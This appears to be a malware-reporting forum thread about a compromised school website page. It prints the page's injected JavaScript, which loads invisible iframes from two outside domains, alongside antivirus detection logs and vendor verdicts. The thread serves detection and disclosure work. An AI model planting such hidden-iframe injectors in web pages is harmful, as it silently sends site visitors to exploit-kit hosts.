http://www.scuole2circoloimperia.org/_vti_inf.html

显示全部楼层 · 发表于 2014-2-7 07:13:54

if (document.getElementsByTagName('body')[0]) {
iframer();
} else {
document.write("<iframe src='http://amlex50.in/' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
}
function iframer() {
var f = document.createElement('iframe');
f.setAttribute('src', 'http://amlex50.in/');
f.style.visibility = 'hidden';
f.style.position = 'absolute';
f.style.left = '0';
f.style.top = '0';
f.setAttribute('width', '10');
f.setAttribute('height', '10');
document.getElementsByTagName('body')[0].appendChild(f);
}

复制代码

if (document.getElementsByTagName('body')[0]) {
iframer();
} else {
document.write("<iframe src='http://cloans.org/' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
}
function iframer() {
var f = document.createElement('iframe');
f.setAttribute('src', 'http://cloans.org/');
f.style.visibility = 'hidden';
f.style.position = 'absolute';
f.style.left = '0';
f.style.top = '0';
f.setAttribute('width', '10');
f.setAttribute('height', '10');
document.getElementsByTagName('body')[0].appendChild(f);
}

复制代码

Avira

2014/2/7 上午 07:09 [System Scanner] 發現惡意程式碼
   檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\R8AOCKPW\_vti_inf[1].htm'
   包含病毒或有害的程式 'JS/iFrame.rex' [virus]
   已採取動作：
   檔案會移動至 '5a19b297.qua' 名稱底下的隔離區目錄!

2014/2/7 上午 07:09 [System Scanner] 掃描
   掃描結束 [已完成全部的掃描.]。
   檔案數： 794
   目錄數： 0
   惡意程式碼數： 1
   警告數： 0

2014/2/7 上午 07:08 [Real-Time Protection] 發現惡意程式碼
   在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\R8AOCKPW\_vti_inf[1].htm 中
   偵測到病毒或有害的程式 'JS/iFrame.rex [virus]'
   執行的動作：傳輸至掃描程式

2014/2/7 上午 07:08 [Real-Time Protection] 發現惡意程式碼
   在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\R8AOCKPW\_vti_inf[1].htm 中
   偵測到病毒或有害的程式 'JS/iFrame.rex [virus]'
   執行的動作：拒絕存取

2014/2/7 上午 07:08 [Web Protection] 發現惡意程式碼
   從 URL "http://www.scuole2circoloimperia.org/_vti_inf.html" 存取資料時，
   發現病毒或有害的程式 'JS/iFrame.rex' [virus]。
   已採取動作：已略過

fs is

Sophos

****************** Sophos Anti-Virus 日誌紀錄 - 2014/2/6 下午 11:12:51 **************

...
20140206 230809 存取路徑 "www.scuole2circoloimperia.org/_vti_inf.html" 受到攔截，受攔截的使用者為
WILLIAM\alan
20140206 230809 在 "www.scuole2circoloimperia.org/_vti_inf.html" 上偵測到病毒/間諜程式
'Mal/Iframe-W'

显示全部楼层 · 发表于 2014-2-7 19:45:03

Object: http://www.scuole2circoloimperia.org/_vti_inf.html
SHA1: 64eb9297c0a5f63ee1c36c7d399b5897eade9115
Name: TrojWare.JS.Blacole.F

显示全部楼层 · 发表于 2014-4-27 10:49:56

GD，ESET

显示全部楼层 · 发表于 2014-5-18 10:02:24

诺顿拦截

显示全部楼层 · 发表于 2014-5-18 10:56:37

显示全部楼层 · 发表于 2014-5-19 21:55:19

大蜘蛛拦截

[已鉴定] http://www.scuole2circoloimperia.org/_vti_inf.html